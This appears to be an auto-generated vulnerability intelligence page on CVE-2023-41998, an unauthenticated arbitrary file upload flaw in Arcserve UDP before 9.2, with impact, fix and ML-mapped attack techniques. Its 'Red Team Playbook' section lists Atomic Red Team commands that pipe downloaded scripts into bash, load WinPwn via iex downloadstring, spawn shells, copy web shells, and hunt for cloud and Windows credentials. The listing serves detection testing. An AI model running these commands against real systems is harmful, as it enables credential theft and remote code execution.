CVE-2023-41998
Overview
This vulnerability is an unrestricted file upload flaw in the Arcserve UDP product prior to version 9.2. It stems from insufficient validation in the com.ca.arcflash.rps.webservice.RPSService4CPMImpl interface, specifically within a routine that processes file uploads. The affected component fails to enforce proper controls on uploaded content, enabling execution of arbitrary files on the system.
Vulnerability Description
Arcserve UDP prior to 9.2 contained a vulnerability in the com.ca.arcflash.rps.webservice.RPSService4CPMImpl interface. A routine exists that allows an attacker to upload and execute arbitrary files.
Impact
An unauthenticated remote attacker can upload and execute arbitrary files on the affected system, resulting in full compromise including confidentiality, integrity, and availability impacts as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H). This allows attackers to execute malicious payloads, potentially leading to data breaches, system takeover, and disruption of backup and recovery operations. No user interaction or credentials are required, increasing the attack surface significantly.
Solution
Arcserve UDP users should upgrade to version 9.2 or later, where this vulnerability has been addressed. Detailed remediation instructions and patch availability are provided in the Tenable security advisory TRA-2023-37 (https://www.tenable.com/security/research/tra-2023-37). No vendor workaround is documented; applying the official update is the recommended mitigation to eliminate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Arcserve UDP prior to version 9.2 is characterized by a flaw in the com.ca.arcflash.rps.webservice.RPSService4CPMImpl interface, which allows for the unauthorized upload and execution of arbitrary files. This weakness stems from inadequate input validation and insufficient access controls within the web service component. Attackers can exploit this vulnerability by sending crafted requests to the affected service, enabling them to upload malicious files to the server. Once these files are executed, the attacker gains the ability to run arbitrary code within the context of the application, potentially leading to full system compromise.
The attack vectors associated with this vulnerability are primarily web-based, as the flaw is located within a web service interface. An attacker could leverage various methods to exploit this weakness, including social engineering techniques to gain initial access or directly targeting the service through automated scripts. Scenarios may involve an attacker uploading a web shell or other malicious payloads that could facilitate further exploitation, such as lateral movement within the network, data exfiltration, or deploying ransomware. Given the high CVSS score of 9.8, the potential for exploitation is significant, making it a critical concern for organizations utilizing this software.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on Arcserve UDP for data protection and disaster recovery. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and substantial financial losses. Additionally, the breach of customer data could result in reputational damage and regulatory penalties, depending on the nature of the information compromised. The potential for attackers to leverage this vulnerability to establish a foothold within an organization could also lead to more extensive attacks, increasing the overall risk profile for affected entities.
To detect and mitigate this vulnerability, organizations should prioritize updating to the latest version of Arcserve UDP, which addresses the identified flaw. Regularly applying security patches and updates is crucial in maintaining a secure environment. Additionally, implementing robust security measures such as web application firewalls (WAFs) can help filter out malicious requests before they reach the vulnerable service. Organizations should also conduct regular security assessments and penetration testing to identify and remediate potential vulnerabilities in their systems proactively. Monitoring for unusual activity, such as unexpected file uploads or execution attempts, can further enhance an organization's ability to detect and respond to exploitation attempts.
In conclusion, the vulnerability in Arcserve UDP represents a significant threat to organizations that utilize this software for data protection. The potential for arbitrary file execution poses serious risks, including unauthorized access and data breaches. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can implement effective detection and mitigation strategies to safeguard their systems and data. Continuous vigilance and proactive security measures are essential in defending against such critical vulnerabilities in an increasingly complex threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Arcserve | Udp | All |
cpe:2.3:a:arcserve:udp:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-41998 |
| tenable.com |
GitHub CVE
|
https://www.tenable.com/security/research/tra-2023-37 |